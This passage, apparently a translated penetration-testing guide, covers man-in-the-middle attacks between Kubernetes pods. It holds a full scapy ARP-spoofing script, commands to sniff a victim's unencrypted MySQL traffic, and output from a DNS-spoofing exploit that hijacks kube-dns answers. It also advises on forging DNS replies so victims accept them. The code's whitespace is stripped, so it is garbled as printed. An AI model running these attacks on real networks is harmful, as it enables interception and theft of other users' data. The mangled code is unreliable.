ARP 欺骗攻击涉及 攻击者在局域网中发送伪造的 ARP(地址解析协议)消息。这导致 攻击者的 MAC 地址与网络上合法计算机或服务器的 IP 地址关联。在成功执行此类攻击后,攻击者可以拦截、修改或甚至停止传输中的数据。该攻击在 OSI 模型的第 2 层上执行,这就是为什么 Kubernetes 在此层的默认连接性引发安全担忧。
python3/tmp/arp_spoof.pyEnterTargetIP:172.17.0.10#ubuntu-victimEnterGatewayIP:172.17.0.9#mysqlTargetMAC02:42:ac:11:00:0aGatewayMAC:02:42:ac:11:00:09SendingspoofedARPresponses# Get another shellkubectlexec-itubuntu-attack--bashngrep-deth0# Login from ubuntu-victim and mysql and check the unencrypted communication# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-pyfrom scapy.all import*defgetmac(targetip):arppacket=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)targetmac=srp(arppacket, timeout=2 , verbose=False)[0][0][1].hwsrcreturn targetmacdefspoofarpcache(targetip,targetmac,sourceip):spoofed=ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)send(spoofed, verbose=False)defrestorearp(targetip,targetmac,sourceip,sourcemac):packet=ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)send(packet, verbose=False)print("ARP Table restored to normal for", targetip)defmain():targetip=input("Enter Target IP:")gatewayip=input("Enter Gateway IP:")try:targetmac=getmac(targetip)print("Target MAC", targetmac)except:print("Target machine did not respond to ARP broadcast")quit()try:gatewaymac=getmac(gatewayip)print("Gateway MAC:", gatewaymac)except:print("Gateway is unreachable")quit()try:print("Sending spoofed ARP responses")whileTrue:spoofarpcache(targetip, targetmac, gatewayip)spoofarpcache(gatewayip, gatewaymac, targetip)exceptKeyboardInterrupt:print("ARP spoofing stopped")restorearp(gatewayip, gatewaymac, targetip, targetmac)restorearp(targetip, targetmac, gatewayip, gatewaymac)quit()if__name__=="__main__":main()# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machinediggoogle.com[...];; ANSWERSECTION:google.com.1INA1.1.1.1
如果你尝试创建自己的 DNS 欺骗脚本,如果你 只是修改 DNS 响应,那是 不行的,因为 响应 将会有 源 IP 是 恶意pod 的 IP 地址,并且 不会 被 接受。
你需要生成一个 新的 DNS 数据包,其 源 IP 是受害者发送 DNS 请求的 DNS(这类似于 172.16.0.2,而不是 10.96.0.10,那是 K8s DNS 服务 IP,而不是 DNS 服务器 IP,更多内容在介绍中)。
捕获流量
工具 Mizu 是一个简单而强大的 API 流量查看器,用于 Kubernetes,使你能够 查看微服务之间的所有 API 通信,以帮助你调试和排查回归问题。
它将在选定的 pods 中安装代理,收集它们的流量信息并在一个 web 服务器上显示。然而,你需要高 K8s 权限才能做到这一点(而且这并不是很隐蔽)。